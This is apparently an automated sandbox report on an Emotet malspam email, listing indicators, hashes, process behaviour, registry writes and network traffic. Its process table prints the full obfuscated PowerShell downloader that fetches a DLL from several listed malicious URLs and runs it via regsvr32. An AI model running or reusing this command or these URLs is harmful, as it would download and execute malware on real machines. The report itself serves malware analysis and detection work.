File name:

2022-02-22-Emotet-epoch4-malspam-from-spambot-172442-UTC.eml

Full analysis: https://app.any.run/tasks/f4506bd3-b364-4ca4-94f7-b656ec9dae13
Verdict: Malicious activity
Analysis date: February 22, 2022, 17:35:08
OS: Windows 10 Professional (build: 16299, 64 bit)
Indicators:
MIME: text/html
File info: HTML document, ASCII text, with CRLF line terminators
MD5:

78DB8AA05CB24CDCF892C819BB2E60B5

SHA1:

5D65D8A5991471076613661D720396EC960A4416

SHA256:

18404E995F00D4A0D961EA760A769C16E5CE165D8DBF9C843355EF8BA09E0824

SSDEEP:

1536:nuOqAb2YqsYcFJLWkoaBkhbmKptmDGXrCpyoXas4B2Q9+Qwh04uPZinZOUYIrfB:nuvCbqsnLW8OHmDLpdKGQ6Zn0uZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes scripts

      • EXCEL.EXE (PID: 1984)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 1984)
      • OUTLOOK.EXE (PID: 3232)

    • Registers / Runs the DLL via REGSVR32.EXE

      • cmd.exe (PID: 5168)
      • regsvr32.exe (PID: 5392)

    • Drops executable file immediately after starts

      • regsvr32.exe (PID: 5392)

    • Loads dropped or rewritten executable

      • regsvr32.exe (PID: 5392)
      • regsvr32.exe (PID: 5792)

    • Changes the autorun value in the registry

      • regsvr32.exe (PID: 5792)

    • Changes settings of System certificates

      • OUTLOOK.EXE (PID: 3232)

  • SUSPICIOUS

    • Reads the time zone

      • OUTLOOK.EXE (PID: 3232)

    • Changes IE settings (feature browser emulation)

      • OUTLOOK.EXE (PID: 3232)

    • Reads default file associations for system extensions

      • OUTLOOK.EXE (PID: 3232)

    • Starts Microsoft Office Application

      • OUTLOOK.EXE (PID: 3232)

    • Creates files in the program directory

      • EXCEL.EXE (PID: 1984)
      • powershell.exe (PID: 2320)

    • Reads the computer name

      • wscript.exe (PID: 4280)
      • powershell.exe (PID: 2320)
      • IMEWDBLD.EXE (PID: 6100)
      • IMEWDBLD.EXE (PID: 3444)
      • IMEWDBLD.EXE (PID: 5636)
      • IMEWDBLD.EXE (PID: 6044)
      • IMEWDBLD.EXE (PID: 3308)
      • IMEWDBLD.EXE (PID: 5460)

    • Reads the date of Windows installation

      • EXCEL.EXE (PID: 1984)

    • Checks supported languages

      • wscript.exe (PID: 4280)
      • conhost.exe (PID: 32)
      • powershell.exe (PID: 2320)
      • conhost.exe (PID: 5196)
      • IMEWDBLD.EXE (PID: 6100)
      • IMEWDBLD.EXE (PID: 3444)
      • IMEWDBLD.EXE (PID: 5636)
      • IMEWDBLD.EXE (PID: 6044)
      • IMEWDBLD.EXE (PID: 3308)
      • IMEWDBLD.EXE (PID: 5460)
      • cmd.exe (PID: 5168)

    • Executes PowerShell scripts

      • wscript.exe (PID: 4280)

    • Reads Environment values

      • powershell.exe (PID: 2320)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2320)
      • regsvr32.exe (PID: 5392)
      • IMEWDBLD.EXE (PID: 6100)
      • IMEWDBLD.EXE (PID: 3444)
      • IMEWDBLD.EXE (PID: 5636)
      • IMEWDBLD.EXE (PID: 6044)
      • IMEWDBLD.EXE (PID: 3308)
      • IMEWDBLD.EXE (PID: 5460)

    • Drops a file with a compile date too recent

      • powershell.exe (PID: 2320)
      • regsvr32.exe (PID: 5392)
      • IMEWDBLD.EXE (PID: 6100)
      • IMEWDBLD.EXE (PID: 3444)
      • IMEWDBLD.EXE (PID: 5636)
      • IMEWDBLD.EXE (PID: 6044)
      • IMEWDBLD.EXE (PID: 3308)
      • IMEWDBLD.EXE (PID: 5460)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 4280)

    • Application launched itself

      • regsvr32.exe (PID: 5392)

  • INFO

    • Checks supported languages

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)
      • regsvr32.exe (PID: 5392)
      • regsvr32.exe (PID: 5792)

    • Reads the computer name

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)
      • regsvr32.exe (PID: 5392)
      • regsvr32.exe (PID: 5792)

    • Reads CPU info

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)

    • Reads Environment values

      • EXCEL.EXE (PID: 1984)
      • OUTLOOK.EXE (PID: 3232)

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)

    • Reads settings of System Certificates

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)
      • powershell.exe (PID: 2320)
      • regsvr32.exe (PID: 5792)

    • Checks Windows Trust Settings

      • OUTLOOK.EXE (PID: 3232)
      • wscript.exe (PID: 4280)
      • powershell.exe (PID: 2320)
      • EXCEL.EXE (PID: 1984)
      • regsvr32.exe (PID: 5792)
      • IMEWDBLD.EXE (PID: 6100)
      • IMEWDBLD.EXE (PID: 3444)
      • IMEWDBLD.EXE (PID: 5636)
      • IMEWDBLD.EXE (PID: 6044)
      • IMEWDBLD.EXE (PID: 5460)
      • IMEWDBLD.EXE (PID: 3308)

    • Reads the software policy settings

      • EXCEL.EXE (PID: 1984)
      • OUTLOOK.EXE (PID: 3232)
      • powershell.exe (PID: 2320)
      • regsvr32.exe (PID: 5792)

    • Reads mouse settings

      • EXCEL.EXE (PID: 1984)

    • Scans artifacts that could help determine the target

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)

    • Reads Microsoft Office registry keys

      • OUTLOOK.EXE (PID: 3232)
      • EXCEL.EXE (PID: 1984)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
114
Monitored processes
15
Malicious processes
10
Suspicious processes
2

Behavior graph

Click at the process to see the details
start outlook.exe excel.exe wscript.exe no specs powershell.exe conhost.exe cmd.exe no specs conhost.exe regsvr32.exe regsvr32.exe imewdbld.exe imewdbld.exe imewdbld.exe imewdbld.exe imewdbld.exe imewdbld.exe

Process information

PID
CMD
Path
Indicators
Parent process
32\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1\??\C:\WINDOWS\system32\conhost.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1984"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\PV3435A3\Scott Murdock Trailers.xls"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
16.0.12026.20264
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\root\office16\excel.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
2320"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
3232"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\admin\Desktop\2022-02-22-Emotet-epoch4-malspam-from-spambot-172442-UTC.eml"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE
Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
16.0.12026.20264
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\root\office16\outlook.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\netapi32.dll
c:\windows\system32\wevtapi.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
3308"C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE" "C:\Users\admin\AppData\Local\Microsoft\Outlook\{ca5cbdbf-6b15-446c-9612-1d695afad2fd}.dctx" -pluginguid "{505dbf31-895b-4b9a-b915-c133db8ffafc}" -encryptC:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft IME Open Extended Dictionary Module
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\ime\shared\imewdbld.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
3444"C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE" "C:\Users\admin\AppData\Local\Microsoft\Outlook\{5f6e0df4-9cf1-4443-91a7-2517e31af0d3}.dctx" -pluginguid "{505dbf31-895b-4b9a-b915-c133db8ffafc}" -encryptC:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft IME Open Extended Dictionary Module
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\ime\shared\imewdbld.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
4280wscript c:\programdata\bbiwjdf.vbsC:\WINDOWS\SYSTEM32\wscript.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft � Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\wscript.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\bcryptprimitives.dll
5168"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dllC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\apphelp.dll
5196\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1\??\C:\WINDOWS\system32\conhost.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\conhost.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
5392c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dllc:\windows\syswow64\regsvr32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\regsvr32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
Total events
23 884
Read events
22 388
Write events
1 286
Delete events
210

Modification events

(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:6
Value:
01A00C000000001000284FFA2E01000000000000000100000000000000
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Experiment\outlook
Operation:writeName:FirstSessionTriggered
Value:
1
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\CrashPersistence\OUTLOOK\3232
Operation:writeName:0
Value:
0B0E101FF36447D028F44A9DBD7586766CF15523004682C497E2A8828AEC016A0410240044FA5D64A89E01008500A907556E6B6E6F776E00
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Logging
Operation:writeName:(default)
Value:
C:\Users\admin\AppData\Local\Temp\Outlook Logging\OUTLOOK-20220222T1735130534-v2.etl
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Diagnostics
Operation:writeName:OutlookBootFlag
Value:
1
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(3232) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
Executable files
52
Suspicious files
10
Text files
20
Unknown types
1 031

Dropped files

PID
Process
Filename
Type
3232OUTLOOK.EXEC:\Users\admin\Documents\Outlook Files\Outlook1.pst —
MD5:—
SHA256:—
3232OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\outlook logging\firstrun.logtext
MD5:—
SHA256:—
3232OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\F88FB264-739C-4DEC-873F-16C7682547BCxml
MD5:—
SHA256:—
3232OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journalbinary
MD5:—
SHA256:—
3232OUTLOOK.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotmpgc
MD5:—
SHA256:—
1984EXCEL.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:—
SHA256:—
3232OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\.sestext
MD5:—
SHA256:—
3232OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\PV3435A3\Scott Murdock Trailers (002).xlsdocument
MD5:—
SHA256:—
1984EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\CEA158DE-8BD9-4E5E-9CDA-6AAA620C099Exml
MD5:—
SHA256:—
1984EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF14FC9E2904B28A5D.TMPdocument
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
29
TCP/UDP connections
31
DNS requests
13
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2320
powershell.exe
GET
301
188.114.96.7:80
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
US
—
—
malicious
3232
OUTLOOK.EXE
GET
200
13.107.42.16:443
https://config.edge.skype.com/config/v2/Office/outlook/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=outlook&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7b4764F31F-28D0-4AF4-9DBD-7586766CF155%7d&LabMachine=false
US
text
171 Kb
malicious
3232
OUTLOOK.EXE
GET
200
52.109.76.68:443
https://officeclient.microsoft.com/config16/?syslcid=1033&build=16.0.12026&crev=3
IE
xml
141 Kb
whitelisted
3232
OUTLOOK.EXE
GET
200
52.109.68.46:443
https://odc.officeapps.live.com/odc/servicemanager/catalog?lcid=1033&syslcid=1033&uilcid=1033&app=5&ver=16&schema=8
FR
xml
29.8 Kb
whitelisted
2144
svchost.exe
POST
400
20.190.160.134:443
https://login.live.com/ppsecure/deviceaddcredential.srf
US
text
210 b
whitelisted
2144
svchost.exe
POST
200
20.190.160.134:443
https://login.live.com/ppsecure/deviceaddcredential.srf
US
text
16.7 Kb
whitelisted
2144
svchost.exe
POST
200
20.190.160.134:443
https://login.live.com/RST2.srf
US
xml
1.25 Kb
whitelisted
1984
EXCEL.EXE
GET
200
13.107.42.16:443
https://config.edge.skype.com/config/v2/Office/excel/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=excel&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7bB6CB2EDE-CBFE-4285-86A4-F8010BB476B3%7d&LabMachine=false
US
text
178 Kb
malicious
1984
EXCEL.EXE
GET
200
52.109.124.71:443
https://messaging.office.com/lifecycle/legacygetcustommessage16?app=1&ui=en-US&src=BizBar&messagetype=BizBar&hwid=04111-083-043729&ver=16.0.12026&lc=en-US&platform=10%3A0%3A16299%3A2%3A0%3A0%3A256%3A1%3A&productid=%7B1717C1E0-47D3-4899-A6D3-1022DB7415E0%7D%3A00411-10830-43729-AA044%3AOffice%2019%2C%20Office19Professional2019R_Retail%20edition&clientsessionid=%7BB6CB2EDE-CBFE-4285-86A4-F8010BB476B3%7D&datapropertybag=%7B%22Audience%22%3A%22Production%22%2C%22AudienceGroup%22%3A%22Production%22%2C%22AudienceChannel%22%3A%22CC%22%2C%22Flight%22%3A%22ofsh6c2b1tla1a31%2Cofcrui4yvdulbf31%2Cofhpex3jznepoo31%2Cof3ttwdwizkwt531%2Cofskuekmq22yki31%2Cofaa1msspvo2xw31%2Cofgg6vdq3anjh131%22%7D
SG
xml
495 b
whitelisted
2144
svchost.exe
POST
200
20.190.160.134:443
https://login.live.com/RST2.srf
US
xml
1.25 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2320
powershell.exe
188.114.96.7:80
wearsweetbomb.com
Cloudflare Inc
US
malicious
3232
OUTLOOK.EXE
52.109.76.68:443
officeclient.microsoft.com
Microsoft Corporation
IE
suspicious
3232
OUTLOOK.EXE
52.109.76.124:443
roaming.officeapps.live.com
Microsoft Corporation
IE
whitelisted
3232
OUTLOOK.EXE
13.107.42.16:443
config.edge.skype.com
Microsoft Corporation
US
whitelisted
2144
svchost.exe
20.190.160.134:443
login.live.com
Microsoft Corporation
US
suspicious
3232
OUTLOOK.EXE
52.109.68.46:443
odc.officeapps.live.com
Microsoft Corporation
FR
suspicious
1984
EXCEL.EXE
52.109.76.68:443
officeclient.microsoft.com
Microsoft Corporation
IE
suspicious
1984
EXCEL.EXE
13.107.42.16:443
config.edge.skype.com
Microsoft Corporation
US
whitelisted
3232
OUTLOOK.EXE
20.42.72.131:443
self.events.data.microsoft.com
—
US
suspicious
1984
EXCEL.EXE
52.109.8.21:443
nexusrules.officeapps.live.com
Microsoft Corporation
US
whitelisted

DNS requests

Domain
IP
Reputation
officeclient.microsoft.com
  • 52.109.76.68
whitelisted
config.edge.skype.com
  • 13.107.42.16
malicious
roaming.officeapps.live.com
  • 52.109.76.124
whitelisted
odc.officeapps.live.com
  • 52.109.68.46
whitelisted
login.live.com
  • 20.190.160.134
  • 20.190.160.129
  • 20.190.160.132
  • 20.190.160.8
  • 20.190.160.73
  • 20.190.160.6
  • 20.190.160.71
  • 20.190.160.136
whitelisted
self.events.data.microsoft.com
  • 20.42.72.131
  • 20.42.65.84
  • 20.42.73.27
whitelisted
fs.microsoft.com
  • 72.247.224.69
whitelisted
nexusrules.officeapps.live.com
  • 52.109.8.21
whitelisted
messaging.office.com
  • 52.109.124.71
whitelisted
wearsweetbomb.com
  • 188.114.96.7
  • 188.114.97.7
malicious

Threats

PID
Process
Class
Message
2320
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2 ETPRO signatures available at the full report
Process
Message
OUTLOOK.EXE
2022-02-22 17:35:18.329 T#3016 <E> [EventsSDK.SQLiteDB] Failed to prepare SQL statement "PRAGMA auto_vacuum=FULL": 26 (file is not a database)
OUTLOOK.EXE
2022-02-22 17:35:18.329 T#3016 <E> [EventsSDK.SQLiteDB] Failed to prepare SQL statement "PRAGMA journal_mode=WAL": 26 (file is not a database)
OUTLOOK.EXE
2022-02-22 17:35:18.329 T#3016 <E> [EventsSDK.SQLiteDB] Failed to prepare SQL statement "PRAGMA synchronous=NORMAL": 26 (file is not a database)
OUTLOOK.EXE
2022-02-22 17:35:18.329 T#3016 <E> [EventsSDK.SQLiteStatement] Failed to query database while executing statement #[00000179DCAC7220]: 26 (file is not a database)
conhost.exe
InitSideBySide failed create an activation context. Error: 1814
conhost.exe
InitSideBySide failed create an activation context. Error: 1814
OUTLOOK.EXE
Reminder Queue Starts ===========================:
OUTLOOK.EXE
ReminderQueue: Hrinitialize hr = 0
OUTLOOK.EXE
ReminderQueueBase:InitializeTable hr=0
OUTLOOK.EXE
ReminderQueue: ProcessNotification: End<-----
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
2022-02-22-Emotet-epoch4-malspam-from-spambot-172442-UTC.eml